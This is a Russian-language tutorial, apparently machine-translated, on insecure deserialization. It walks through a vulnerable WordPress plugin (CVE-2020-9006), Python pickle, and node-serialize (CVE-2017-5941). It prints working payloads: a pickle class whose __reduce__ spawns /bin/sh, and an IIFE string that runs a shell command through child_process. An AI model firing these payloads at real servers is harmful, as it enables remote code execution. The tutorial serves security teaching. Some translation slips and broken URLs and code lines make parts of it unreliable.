Незащищенная десериализация данных занимает восьмое место в списке десяти наиболее критичных угроз безопасности веб-приложений. Прежде чем мы рассмотрим сами атаки, давайте начнем с того, что такое сериализация.

Сериализация данных

Проще говоря, сериализация включает в себя преобразование экземпляра объекта в байты для передачи по сети. Таким образом, десериализация — это обратный процесс.

Например, представим ситуацию, в которой пользователь отправляет данные на сервер через форму с помощью API. Они преобразуются в последовательную форму, а затем принимаются сервером в десериализованном виде и используются, например, для сохранения их в базе данных.

Примеры небезопасной десериализации

Чтобы не быть теоретиком, обратимся к реальным примерам.

CVE-2020–9006

Для начала что-то простое. Плагин Popup Builder версии 2.2.8–2.6.7.6 для WordPress обнаружил уязвимость к SQL-инъекциям путем десериализации переменной attachmentUrl. Это позволяет создать учетную запись администратора, что дает возможность удаленного выполнения кода. Уязвимую часть кода можно найти ниже.

function sgImportPopups()
{
  global $wpdb;
  url = $_POST['attachmentUrl'];
  contents = unserialize(base64_decode(file_get_contents($url)));

  /* For tables wich they are not popup tables child ex. subscribers */
  foreach ($contents['customData'] as $tableName => $datas) {
    $columns = '';

    $columsArray = array();
    foreach ($contents['customTablesColumsName'][$tableName] as $key => $value) {
      $columsArray[$key] = $value['Field'];
    }
    $columns .= implode(array_values($columsArray), ', ');
    foreach ($datas as $key => $data) {
      $values = "'".implode(array_values($data), "','")."'";
      $customInsertSql = $wpdb->prepare("INSERT INTO ".$wpdb->prefix.$tableName."($columns) VALUES ($values)");
    }
  }
(...)
}

Как видите, переменная attachmentUrl никак не проверяется. Вместо этого он напрямую передается функции unserialize(). Затем десериализованные данные используются для заполнения базы данных. Zeroauth в своем [сообщении](https://zeroauth.ltd/blog/2020/02/16/cve-2020-9006-popup-builder-wp-plugin-sql-injection-via-php-deserialization/) показывает пример функции, используемой для создания вредоносной полезной нагрузки.

КВЕ-502

В python есть библиотека [pickle](https://docs.python.org/3/library/pickle.html), которая поддерживает сериализацию и десериализацию объектов. Следующий [пример](https://blog.nelhage.com/2011/03/exploiting-pickle/) извлекает и обрабатывает данные, а затем аутентифицирует пользователя на основе существующего токена.

class VulnerableProtocol(protocol.Protocol):
  def dataReceived(self, data):

     # Code to actually parse incoming data according to an
     #  internal state machine
     # If we just finished receiving headers, call verifyAuth() to
       check authentication

  def verifyAuth(self, headers):
    try:
      token = cPickle.loads(base64.b64decode(headers['AuthToken']))
      if not check_hmac(token['signature'], token['data'], getSecretKey()):
        raise AuthenticationFailed
      self.secure_data = token['data']
    except:
      raise AuthenticationFailed

Проблема с приведенным выше кодом заключается в том, что злоумышленник может сам создать объект AuthToken, который затем инициализирует один из подпроцессов Python. Что это значит? Что мы можем выполнить любую команду на сервере. Давайте посмотрим на следующий пример.

import cPickle
import subprocess
import base64

class RunBinSh(object):
  def __reduce__(self):
    return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))

Библиотека pickle позволяет любому объекту объявить, как он должен быть «маринован», определив функцию __reduce__. В конечном итоге он возвращает строку или кортеж, описывающий, как объект может быть восстановлен после распаковки. Кортеж должен состоять из двух элементов:

  • вызываемый объектный класс
  • переданные аргументы

Вот как мы можем определить возвращаемый объект, который будет запускать оболочку по умолчанию.

CVE-2017–5941

Из [notification](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941) мы можем узнать, что в [node-serialize](https:// www.npmjs.com/package/node-serialize) версии библиотеки 0.0.4 существует функция unserialize(), которую можно использовать для внедрения произвольного кода путем передачи объекта JavaScript с немедленно вызываемым функциональным выражением. Это выглядит следующим образом, и кто-то, кто ежедневно работает вместе с javascript, наверняка был с ним знаком.

(function() {
    'use strict';  

}());

Пример кода с используемой полезной нагрузкой может выглядеть следующим образом.

var serialize = require('node-serialize');
var payload = '{
  "rce":"_$$ND_FUNC$$_function(){
    require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr) { 
      console.log(stdout)});
    }()"
}';
serialize.unserialize(payload);

В приведенном выше примере код приводит к выполнению команды ls на сервере.

Источники

https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data
https://qa-stack.pl/programming/447898/what-is-object-serialization
https ://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941
https://cwe.mitre.org/data/definitions/502.html
https://blog.nelhage.com/2011/03/exploiting-pickle/
https://cwe.mitre.org/data/definitions/502.html#REF-467< br /> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9006
https://zeroauth.ltd/blog/2020/02/16 /cve-2020-9006-popup-builder-wp-plugin-sql-injection-через-php-десериализация